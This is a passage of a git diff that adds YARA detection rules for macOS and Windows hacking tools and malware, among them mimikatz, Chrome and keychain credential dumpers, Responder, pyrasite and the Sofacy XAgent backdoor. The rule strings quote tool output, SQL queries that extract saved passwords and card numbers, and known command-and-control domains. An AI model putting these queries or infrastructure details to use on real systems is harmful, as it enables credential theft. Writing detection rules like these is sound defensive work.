+        $a4 = "Decrypting token plist ->" wide ascii
+        $a5 = "Successfully decrypted token plist!" wide ascii
+    condition:
+        3 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_osxchromedecrypt.yara b/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_osxchromedecrypt.yara
new file mode 100644
index 0000000..46cf7e6
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_manwhoami_osxchromedecrypt.yara
@@ -0,0 +1,16 @@
+rule hacktool_macos_manwhoami_osxchromedecrypt
+{
+    meta:
+        description = "Decrypt Google Chrome / Chromium passwords and credit cards on macOS / OS X."
+        reference = "https://github.com/manwhoami/OSXChromeDecrypt"
+        author = "@mimeframe"
+    strings:
+        $a1 = "Credit Cards for Chrome Profile" wide ascii
+        $a2 = "Passwords for Chrome Profile" wide ascii
+        $a3 = "Unknown Card Issuer" wide ascii
+        $a4 = "ERROR getting Chrome Safe Storage Key" wide ascii
+        $b1 = "select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards" wide ascii
+        $b2 = "select username_value, password_value, origin_url, submit_element from logins" wide ascii
+    condition:
+        3 of ($a*) or all of ($b*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_n0fate_chainbreaker.yara b/yara-mikesxrs/AirBnB/hacktool_macos_n0fate_chainbreaker.yara
new file mode 100644
index 0000000..1b83d69
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_n0fate_chainbreaker.yara
@@ -0,0 +1,13 @@
+rule hacktool_macos_n0fate_chainbreaker
+{
+    meta:
+        description = "chainbreaker can extract user credential in a Keychain file with Master Key or user password in forensically sound manner."
+        reference = "https://github.com/n0fate/chainbreaker"
+        author = "@mimeframe"
+    strings:
+        $a1 = "[!] Private Key Table is not available" wide ascii
+        $a2 = "[!] Public Key Table is not available" wide ascii
+        $a3 = "[-] Decrypted Private Key" wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_macos_ptoomey3_keychain_dumper.yara b/yara-mikesxrs/AirBnB/hacktool_macos_ptoomey3_keychain_dumper.yara
new file mode 100644
index 0000000..ceea7c0
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_macos_ptoomey3_keychain_dumper.yara
@@ -0,0 +1,15 @@
+rule hacktool_macos_ptoomey3_keychain_dumper
+{
+    meta:
+        description = "Keychain dumping utility."
+        reference = "https://github.com/ptoomey3/Keychain-Dumper"
+        author = "@mimeframe"
+    strings:
+        $a1 = "keychain_dumper" wide ascii
+        $a2 = "/var/Keychains/keychain-2.db" wide ascii
+        $a3 = "<key>keychain-access-groups</key>" wide ascii
+        $a4 = "SELECT DISTINCT agrp FROM genp UNION SELECT DISTINCT agrp FROM inet" wide ascii
+        $a5 = "dumpEntitlements" wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_multi_bloodhound_owned.yara b/yara-mikesxrs/AirBnB/hacktool_multi_bloodhound_owned.yara
new file mode 100644
index 0000000..78c6d86
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_multi_bloodhound_owned.yara
@@ -0,0 +1,20 @@
+rule hacktool_multi_bloodhound_owned
+{
+    meta:
+        description = "Bloodhound: Custom queries to document a compromise, find collateral spread of owned nodes, and visualize deltas in privilege gains"
+        reference = "https://github.com/porterhau5/BloodHound-Owned/"
+        author = "@fusionrace"
+    strings:
+        $s1 = "Find all owned Domain Admins" fullword ascii wide
+        $s2 = "Find Shortest Path from owned node to Domain Admins" fullword ascii wide
+        $s3 = "List all directly owned nodes" fullword ascii wide
+        $s4 = "Set owned and wave properties for a node" fullword ascii wide
+        $s5 = "Find spread of compromise for owned nodes in wave" fullword ascii wide
+        $s6 = "Show clusters of password reuse" fullword ascii wide
+        $s7 = "Something went wrong when creating SharesPasswordWith relationship" fullword ascii wide
+        $s8 = "reference doc of custom Cypher queries for BloodHound" fullword ascii wide
+        $s9 = "Created SharesPasswordWith relationship between" fullword ascii wide
+        $s10 = "Skipping finding spread of compromise due to" fullword ascii wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_multi_jtesta_ssh_mitm.yara b/yara-mikesxrs/AirBnB/hacktool_multi_jtesta_ssh_mitm.yara
new file mode 100644
index 0000000..7ba8295
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_multi_jtesta_ssh_mitm.yara
@@ -0,0 +1,12 @@
+rule hacktool_multi_jtesta_ssh_mitm
+{
+    meta:
+        description = "intercepts ssh connections to capture credentials"
+        reference = "https://github.com/jtesta/ssh-mitm"
+        author = "@fusionrace"
+    strings:
+        $a1 = "INTERCEPTED PASSWORD:" wide ascii
+        $a2 = "more sshbuf problems." wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_multi_masscan.yara b/yara-mikesxrs/AirBnB/hacktool_multi_masscan.yara
new file mode 100644
index 0000000..198c839
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_multi_masscan.yara
@@ -0,0 +1,17 @@
+rule hacktool_multi_masscan
+{
+    meta:
+        description = "masscan is a performant port scanner, it produces results similar to nmap"
+        reference = "https://github.com/robertdavidgraham/masscan"
+        author = "@mimeframe"
+    strings:
+        $a1 = "EHLO masscan" fullword wide ascii
+        $a2 = "User-Agent: masscan/" wide ascii
+        $a3 = "/etc/masscan/masscan.conf" fullword wide ascii
+        $b1 = "nmap(%s): unsupported. This code will never do DNS lookups." wide ascii
+        $b2 = "nmap(%s): unsupported, we do timing WAY different than nmap" wide ascii
+        $b3 = "[hint] I've got some local priv escalation 0days that might work" wide ascii
+        $b4 = "[hint] VMware on Macintosh doesn't support masscan" wide ascii
+    condition:
+        all of ($a*) or any of ($b*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_multi_ncc_ABPTTS.yara b/yara-mikesxrs/AirBnB/hacktool_multi_ncc_ABPTTS.yara
new file mode 100644
index 0000000..e0c027d
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_multi_ncc_ABPTTS.yara
@@ -0,0 +1,19 @@
+rule hacktool_multi_ncc_ABPTTS
+{
+    meta:
+        description = "Allows for TCP tunneling over HTTP"
+        reference = "https://github.com/nccgroup/ABPTTS"
+        author = "@mimeframe"
+    strings:
+        $s1 = "---===[[[ A Black Path Toward The Sun ]]]===---" ascii wide
+        $s2 = "https://vulnerableserver/EStatus/" ascii wide
+        $s3 = "Error: no ABPTTS forwarding URL was specified. This utility will now exit." ascii wide
+        // access key
+        $s4 = "tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq" fullword ascii wide
+        // encryption key
+        $s5 = "63688c4f211155c76f2948ba21ebaf83" fullword ascii wide
+        // log file
+        $s6 = "ABPTTSClient-log.txt" fullword ascii wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_multi_ntlmrelayx.yara b/yara-mikesxrs/AirBnB/hacktool_multi_ntlmrelayx.yara
new file mode 100644
index 0000000..9539d62
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_multi_ntlmrelayx.yara
@@ -0,0 +1,15 @@
+rule hacktool_multi_ntlmrelayx
+{
+    meta:
+        description = "https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/"
+        reference = "https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py"
+        author = "@mimeframe"
+    strings:
+        $a1 = "Started interactive SMB client shell via TCP" wide ascii
+        $a2 = "Service Installed.. CONNECT!" wide ascii
+        $a3 = "Done dumping SAM hashes for host:" wide ascii
+        $a4 = "DA already added. Refusing to add another" wide ascii
+        $a5 = "Domain info dumped into lootdir!" wide ascii
+    condition:
+        any of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_multi_pyrasite_py.yara b/yara-mikesxrs/AirBnB/hacktool_multi_pyrasite_py.yara
new file mode 100644
index 0000000..8e56890
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_multi_pyrasite_py.yara
@@ -0,0 +1,24 @@
+rule hacktool_multi_pyrasite_py
+{
+    meta:
+        description = "A tool for injecting arbitrary code into running Python processes."
+        reference = "https://github.com/lmacken/pyrasite"
+        author = "@fusionrace"
+    strings:
+        $s1 = "WARNING: ptrace is disabled. Injection will not work." fullword ascii wide
+        $s2 = "A payload that connects to a given host:port and receives commands" fullword ascii wide
+        $s3 = "A reverse Python connection payload." fullword ascii wide
+        $s4 = "pyrasite - inject code into a running python process" fullword ascii wide
+        $s5 = "The ID of the process to inject code into" fullword ascii wide
+        $s6 = "This file is part of pyrasite." fullword ascii wide
+        $s7 = "https://github.com/lmacken/pyrasite" fullword ascii wide
+        $s8 = "Setup a communication socket with the process by injecting" fullword ascii wide
+        $s9 = "a reverse subshell and having it connect back to us." fullword ascii wide
+        $s10 = "Write out a reverse python connection payload with a custom port" fullword ascii wide
+        $s11 = "Wait for the injected payload to connect back to us" fullword ascii wide
+        $s12 = "PyrasiteIPC" fullword ascii wide
+        $s13 = "A reverse Python shell that behaves like Python interactive interpreter." fullword ascii wide
+        $s14 = "pyrasite cannot establish reverse" fullword ascii wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_multi_responder_py.yara b/yara-mikesxrs/AirBnB/hacktool_multi_responder_py.yara
new file mode 100644
index 0000000..b128efa
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_multi_responder_py.yara
@@ -0,0 +1,17 @@
+rule hacktool_multi_responder_py
+{
+    meta:
+        description = "Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server"
+        reference = "http://www.c0d3xpl0it.com/2017/02/compromising-domain-admin-in-internal-pentest.html"
+        author = "@fusionrace"
+    strings:
+        $s1 = "Poison all requests with another IP address than Responder's one." fullword ascii wide
+        $s2 = "Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned." fullword ascii wide
+        $s3 = "Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network." fullword ascii wide
+        $s4 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide
+        $s5 = "Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)" fullword ascii wide
+        $s6 = "31mOSX detected, -i mandatory option is missing" fullword ascii wide
+        $s7 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_hot_potato.yara b/yara-mikesxrs/AirBnB/hacktool_windows_hot_potato.yara
new file mode 100644
index 0000000..d2cd599
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_hot_potato.yara
@@ -0,0 +1,15 @@
+rule hacktool_windows_hot_potato
+{
+    meta:
+        description = "https://foxglovesecurity.com/2016/01/16/hot-potato/"
+        reference = "https://github.com/foxglovesec/Potato"
+        author = "@mimeframe"
+    strings:
+        $a1 = "Parsing initial NTLM auth..." wide ascii
+        $a2 = "Got PROPFIND for /test..." wide ascii
+        $a3 = "Starting NBNS spoofer..." wide ascii
+        $a4 = "Exhausting UDP source ports so DNS lookups will fail..." wide ascii
+        $a5 = "Usage: potato.exe -ip" wide ascii
+    condition:
+        any of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_copywrite.yara b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_copywrite.yara
new file mode 100644
index 0000000..9050cbf
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_copywrite.yara
@@ -0,0 +1,24 @@
+rule hacktool_windows_mimikatz_copywrite
+{
+    meta:
+        description = "Mimikatz credential dump tool: Author copywrite"
+        reference = "https://github.com/gentilkiwi/mimikatz"
+        author = "@fusionrace"
+        md5_1 = "0c87c0ca04f0ab626b5137409dded15ac66c058be6df09e22a636cc2bcb021b8"
+        md5_2 = "0c91f4ca25aedf306d68edaea63b84efec0385321eacf25419a3050f2394ee3b"
+        md5_3 = "0fee62bae204cf89d954d2cbf82a76b771744b981aef4c651caab43436b5a143"
+        md5_4 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+        md5_5 = "09c542ff784bf98b2c4899900d4e699c5b2e2619a4c5eff68f6add14c74444ca"
+        md5_6 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+    strings:
+        $s1 = "Kiwi en C" fullword ascii wide
+        $s2 = "Benjamin DELPY `gentilkiwi`" fullword ascii wide
+        $s3 = "http://blog.gentilkiwi.com/mimikatz" fullword ascii wide
+        $s4 = "Build with love for POC only" fullword ascii wide
+        $s5 = "gentilkiwi (Benjamin DELPY)" fullword wide
+        $s6 = "KiwiSSP" fullword wide
+        $s7 = "Kiwi Security Support Provider" fullword wide
+        $s8 = "kiwi flavor !" fullword wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_errors.yara b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_errors.yara
new file mode 100644
index 0000000..a8f39ca
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_errors.yara
@@ -0,0 +1,16 @@
+rule hacktool_windows_mimikatz_errors
+{
+    meta:
+        description = "Mimikatz credential dump tool: Error messages"
+        reference = "https://github.com/gentilkiwi/mimikatz"
+        author = "@fusionrace"
+        md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+        md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+    strings:
+        $s1 = "[ERROR] [LSA] Symbols" fullword ascii wide
+        $s2 = "[ERROR] [CRYPTO] Acquire keys" fullword ascii wide
+        $s3 = "[ERROR] [CRYPTO] Symbols" fullword ascii wide
+        $s4 = "[ERROR] [CRYPTO] Init" fullword ascii wide
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_files.yara b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_files.yara
new file mode 100644
index 0000000..d693a9a
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_files.yara
@@ -0,0 +1,15 @@
+rule hacktool_windows_mimikatz_files
+{
+    meta:
+        description = "Mimikatz credential dump tool: Files"
+        reference = "https://github.com/gentilkiwi/mimikatz"
+        author = "@fusionrace"
+        md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+        md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+    strings:
+        $s1 = "kiwifilter.log" fullword wide
+        $s2 = "kiwissp.log" fullword wide
+        $s3 = "mimilib.dll" fullword ascii wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_modules.yara b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_modules.yara
new file mode 100644
index 0000000..671c3e5
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_modules.yara
@@ -0,0 +1,18 @@
+rule hacktool_windows_mimikatz_modules
+{
+    meta:
+        description = "Mimikatz credential dump tool: Modules"
+        reference = "https://github.com/gentilkiwi/mimikatz"
+        author = "@fusionrace"
+        md5_1 = "0c87c0ca04f0ab626b5137409dded15ac66c058be6df09e22a636cc2bcb021b8"
+        md5_2 = "0c91f4ca25aedf306d68edaea63b84efec0385321eacf25419a3050f2394ee3b"
+        md5_3 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+        md5_4 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+        md5_5 = "0fee62bae204cf89d954d2cbf82a76b771744b981aef4c651caab43436b5a143"
+    strings:
+        $s1 = "mimilib" fullword ascii wide
+        $s2 = "mimidrv" fullword ascii wide
+        $s3 = "mimilove" fullword ascii wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_sekurlsa.yara b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_sekurlsa.yara
new file mode 100644
index 0000000..192f4d3
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_mimikatz_sekurlsa.yara
@@ -0,0 +1,18 @@
+rule hacktool_windows_mimikatz_sekurlsa
+{
+    meta:
+        description = "Mimikatz credential dump tool"
+        reference = "https://github.com/gentilkiwi/mimikatz"
+        author = "@fusionrace"
+        SHA256_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+        SHA256_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+    strings:
+        $s1 = "dpapisrv!g_MasterKeyCacheList" fullword ascii wide
+        $s2 = "lsasrv!g_MasterKeyCacheList" fullword ascii wide
+        $s3 = "!SspCredentialList" ascii wide
+        $s4 = "livessp!LiveGlobalLogonSessionList" fullword ascii wide
+        $s5 = "wdigest!l_LogSessList" fullword ascii wide
+        $s6 = "tspkg!TSGlobalCredTable" fullword ascii wide
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_moyix_creddump.yara b/yara-mikesxrs/AirBnB/hacktool_windows_moyix_creddump.yara
new file mode 100644
index 0000000..05547f9
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_moyix_creddump.yara
@@ -0,0 +1,16 @@
+rule hacktool_windows_moyix_creddump
+{
+    meta:
+        description = "creddump is a python tool to extract credentials and secrets from Windows registry hives."
+        reference = "https://github.com/moyix/creddump"
+        author = "@mimeframe"
+    strings:
+        $a1 = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%" wide ascii
+        $a2 = "0123456789012345678901234567890123456789" wide ascii
+        $a3 = "NTPASSWORD" wide ascii
+        $a4 = "LMPASSWORD" wide ascii
+        $a5 = "aad3b435b51404eeaad3b435b51404ee" wide ascii
+        $a6 = "31d6cfe0d16ae931b73c59d7e0c089c0" wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_ncc_wmicmd.yara b/yara-mikesxrs/AirBnB/hacktool_windows_ncc_wmicmd.yara
new file mode 100644
index 0000000..471cf91
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_ncc_wmicmd.yara
@@ -0,0 +1,18 @@
+rule hacktool_windows_ncc_wmicmd
+{
+    meta:
+        description = "Command shell wrapper for WMI"
+        reference = "https://github.com/nccgroup/WMIcmd"
+        author = "@mimeframe"
+    strings:
+        $a1 = "Need to specify a username, domain and password for non local connections" wide ascii
+        $a2 = "WS-Management is running on the remote host" wide ascii
+        $a3 = "firewall (if enabled) allows connections" wide ascii
+        $a4 = "WARNING: Didn't see stdout output finished marker - output may be truncated" wide ascii
+        $a5 = "Command sleep in milliseconds - increase if getting truncated output" wide ascii
+        $b1 = "0x800706BA" wide ascii
+        $b2 = "NTLMDOMAIN:" wide ascii
+        $b3 = "cimv2" wide ascii
+    condition:
+        any of ($a*) or all of ($b*)
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_rdp_cmd_delivery.yara b/yara-mikesxrs/AirBnB/hacktool_windows_rdp_cmd_delivery.yara
new file mode 100644
index 0000000..8ecea21
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_rdp_cmd_delivery.yara
@@ -0,0 +1,14 @@
+rule hacktool_windows_rdp_cmd_delivery
+{
+    meta:
+        description = "Delivers a text payload via RDP (rubber ducky)"
+        reference = "https://github.com/nopernik/mytools/blob/master/rdp-cmd-delivery.sh"
+        author = "@fusionrace"
+    strings:
+        $s1 = "Usage: rdp-cmd-delivery.sh OPTIONS" ascii wide
+        $s2 = "[--tofile 'c:\\test.txt' local.ps1 #will copy contents of local.ps1 to c:\\test.txt" ascii wide
+        $s3 = "-cmdfile local.bat                #will execute everything from local.bat" ascii wide
+        $s4 = "To deliver powershell payload, use '--cmdfile script.ps1' but inside powershell console" ascii wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/hacktool_windows_wmi_implant.yara b/yara-mikesxrs/AirBnB/hacktool_windows_wmi_implant.yara
new file mode 100644
index 0000000..4a6d602
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/hacktool_windows_wmi_implant.yara
@@ -0,0 +1,21 @@
+rule hacktool_windows_wmi_implant
+{
+    meta:
+        description = "A PowerShell based tool that is designed to act like a RAT"
+        reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html"
+        author = "@fusionrace"
+    strings:
+        $s1 = "This really isn't applicable unless you are using WMImplant interactively." fullword ascii wide
+        $s2 = "What command do you want to run on the remote system? >" fullword ascii wide
+        $s3 = "Do you want to [create] or [delete] a string registry value? >" fullword ascii wide
+        $s4 = "Do you want to run a WMImplant against a list of computers from a file? [yes] or [no] >" fullword ascii wide
+        $s5 = "What is the name of the service you are targeting? >" fullword ascii wide
+        $s6 = "This function enables the user to upload or download files to/from the attacking machine to/from the targeted machine" fullword ascii wide
+        $s7 = "gen_cli - Generate the CLI command to execute a command via WMImplant" fullword ascii wide
+        $s8 = "exit - Exit WMImplant" fullword ascii wide
+        $s9 = "Lateral Movement Facilitation" fullword ascii wide
+        $s10 = "vacant_system - Determine if a user is away from the system." fullword ascii wide
+        $s11 = "Please provide the ProcessID or ProcessName flag to specify the process to kill!" fullword ascii wide
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/AirBnB/malware_macos_apt_sofacy_xagent.yara b/yara-mikesxrs/AirBnB/malware_macos_apt_sofacy_xagent.yara
new file mode 100644
index 0000000..75ead6a
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_macos_apt_sofacy_xagent.yara
@@ -0,0 +1,62 @@
+include "../../MachO.yara"
+
+rule malware_macos_apt_sofacy_xagent
+{
+    meta:
+        description = "sofacy xagent for macOS"
+        reference_1 = "http://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
+        reference_2 = "https://blog.malwarebytes.com/cybercrime/2017/03/two-new-mac-backdoors-discovered/"
+        author = "@mimeframe"
+        md5 = "4fe4b9560e99e33dabca553e2eeee510"
+    strings:
+        // malware commands
+        $a1 = "remoteShell" ascii wide
+        $a2 = "getInfoOSX" ascii wide
+        $a3 = "ftpUpload" ascii wide
+        $a4 = "startUploading" ascii wide
+        $a5 = "deleteFile:"  ascii wide
+        $a6 = "executeShellCommand" ascii wide
+        $a7 = "getFirefoxPassword" ascii wide
+        $a8 = "generateRandomPathAndName" ascii wide
+        $a9 = "createCryptPacket" ascii wide
+        $a10 = "CameraShot" ascii wide
+        $a11 = "7Cryptor" ascii wide
+        $a12 = "8ICryptor" ascii wide
+        $a13 = "Keylogger" ascii wide
+        $a14 = "BootXLoader" ascii wide
+        $a15 = "InjectApp" ascii wide
+        // unique malware strings
+        $b1 = "/Project/XAgentOSX/" ascii wide
+        $b2 = "XLoader_OSX" fullword ascii wide
+        $b3 = "<span class='keylog_user_keys'>" ascii wide
+        $b4 = "<span class='keylog_process'>" ascii wide
+        $b5 = "<span class='keylog_spec_key'>" ascii wide
+        $b6 = "<font size=4 color=red><pre>Stop take screenshot</pre></font>" ascii wide
+        // c2 domains
+        $c1 = "http://23.227.196.215/" ascii wide
+        $c2 = "http://apple-iclods.org/" ascii wide
+        $c3 = "http://apple-checker.org/" ascii wide
+        $c4 = "http://apple-uptoday.org/" ascii wide
+        $c5 = "http://apple-search.info" ascii wide
+        // c2 URL paths
+        $d1 = "watch/?" fullword ascii wide
+        $d2 = "search/?" fullword ascii wide
+        $d3 = "find/?" fullword ascii wide
+        $d4 = "results/?" fullword ascii wide
+        $d5 = "open/?" fullword ascii wide
+        $d6 = "search/?" fullword ascii wide
+        $d7 = "close/?" fullword ascii wide
+        // c2 URL parameters
+        $e1 = "itwm=" fullword ascii wide
+        $e2 = "text=" fullword ascii wide
+        $e3 = "from=" fullword ascii wide
+        $e4 = "itwm=" fullword ascii wide
+        $e5 = "ags=" fullword ascii wide
+        $e6 = "btnG=" fullword ascii wide
+        $e7 = "oprnd=" fullword ascii wide
+        $e8 = "itwm=" fullword ascii wide
+        $e9 = "utm=" fullword ascii wide
+        $e10 = "channel=" fullword ascii wide
+    condition:
+        MachO and (5 of ($a*) or any of ($b*) or any of ($c*) or 4 of ($d*) or 5 of ($e*))
+}
diff --git a/yara-mikesxrs/AirBnB/malware_macos_bella.yara b/yara-mikesxrs/AirBnB/malware_macos_bella.yara
new file mode 100644
index 0000000..0d57f29
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_macos_bella.yara
@@ -0,0 +1,22 @@
+rule malware_macos_bella
+{
+    meta:
+        description = "Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS."
+        reference = "https://github.com/Trietptm-on-Security/Bella"
+        author = "@mimeframe"
+    strings:
+        // Bella.py
+        $a1 = "Verified! [2FV Enabled] Account ->" wide ascii
+        $a2 = "There is no root shell to perform this command. See [rooter] manual entry." wide ascii
+        $a3 = "Attempt to escalate Bella to root through a variety of attack vectors." wide ascii
+        $a4 = "BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER." wide ascii
+        // Control Center.py
+        $b1 = "user_pass_phish" fullword wide ascii
+        $b2 = "bella_info" fullword wide ascii
+        $b3 = "get_root" fullword wide ascii
+        // Builder
+        $c1 = "Please specify a bella server." wide ascii
+        $c2 = "What port should Bella connect on [Default is 4545]:" wide ascii
+    condition:
+        any of ($a*) or all of ($b*) or all of ($c*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_macos_macspy.yara b/yara-mikesxrs/AirBnB/malware_macos_macspy.yara
new file mode 100644
index 0000000..43c19a8
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_macos_macspy.yara
@@ -0,0 +1,17 @@
+import "pe"
+
+rule malware_macos_macspy
+{
+    meta:
+        description = "macSpy is a malware-as-a-service (MaaS) product advertised as the most sophisticated Mac spyware ever"
+        reference = "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"
+        author = "AlienVault Labs"
+        md5 = "6c03e4a9bcb9afaedb7451a33c214ae4"
+    strings:
+        $header0 = {cf fa ed fe}
+        $header1 = {ce fa ed fe}
+        $header2 = {ca fe ba be}
+        $c1 = { 76 31 09 00 76 32 09 00 76 33 09 00 69 31 09 00 69 32 09 00 69 33 09 00 69 34 09 00 66 31 09 00 66 32 09 00 66 33 09 00 66 34 09 00 74 63 3A 00 }
+    condition:
+        ($header0 at 0 or $header1 at 0 or $header2 at 0) and $c1
+}
diff --git a/yara-mikesxrs/AirBnB/malware_macos_marten4n6_evilosx.yara b/yara-mikesxrs/AirBnB/malware_macos_marten4n6_evilosx.yara
new file mode 100644
index 0000000..facbbbb
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_macos_marten4n6_evilosx.yara
@@ -0,0 +1,16 @@
+rule malware_macos_marten4n6_evilosx
+{
+    meta:
+        description = "EvilOSX is a pure python, post-exploitation, RAT (Remote Administration Tool) for macOS / OSX."
+        reference = "https://github.com/Marten4n6/EvilOSX"
+        author = "@mimeframe"
+    strings:
+        // EvilOSX.py commands
+        $a1 = "icloud_phish_stop" fullword wide ascii
+        $a2 = "icloud_contacts" fullword wide ascii
+        $a3 = "itunes_backups" fullword wide ascii
+        $a4 = "chrome_passwords" fullword wide ascii
+        $a5 = "Starting EvilOSX..." wide ascii
+    condition:
+        4 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_macos_neoneggplant_eggshell.yara b/yara-mikesxrs/AirBnB/malware_macos_neoneggplant_eggshell.yara
new file mode 100644
index 0000000..3e5c944
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_macos_neoneggplant_eggshell.yara
@@ -0,0 +1,24 @@
+rule malware_macos_neoneggplant_eggshell
+{
+    meta:
+        description = "EggShell is an iOS and macOS post exploitation surveillance pentest tool written in Python."
+        reference = "https://github.com/neoneggplant/EggShell"
+        author = "@mimeframe"
+    strings:
+        // eggshell.py
+        $a1 = "Created By Lucas Jackson (@neoneggplant)" wide ascii
+        $a2 = "SET LHOST (Leave blank for" wide ascii
+        $a3 = "SET LPORT (Leave blank for" wide ascii
+        // esplios
+        $b1 = "/tmp/.esplog" wide ascii
+        $b2 = "spGHbigdxMBJpbOCAr3rnS3inCdYQyZV" wide ascii
+        $b3 = "keylogclear" wide ascii
+        $b4 = "getpasscode" wide ascii
+        // esplosx
+        $c1 = "spGHbigdxMBJpbOCAr3rnS3inCdYQyZV" wide ascii
+        $c2 = "getfacebook" wide ascii
+        $c3 = "type is eggsu" wide ascii
+        $c4 = "rmpersistence" wide ascii
+    condition:
+        all of ($a*) or 3 of ($b*) or 3 of ($c*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_macos_proton_rat_generic.yara b/yara-mikesxrs/AirBnB/malware_macos_proton_rat_generic.yara
new file mode 100644
index 0000000..f3d7b45
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_macos_proton_rat_generic.yara
@@ -0,0 +1,21 @@
+include "../../MachO.yara"
+
+rule malware_macos_proton_rat_generic
+{
+    meta:
+        description = "https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/"
+        reference = "https://objective-see.com/blog/blog_0x1D.html"
+        author = "@mimeframe"
+        md5 = "6a2d0c8b20efc3fa283176a4bc76d6fd"
+    strings:
+        // https://github.com/facebook/SocketRocket
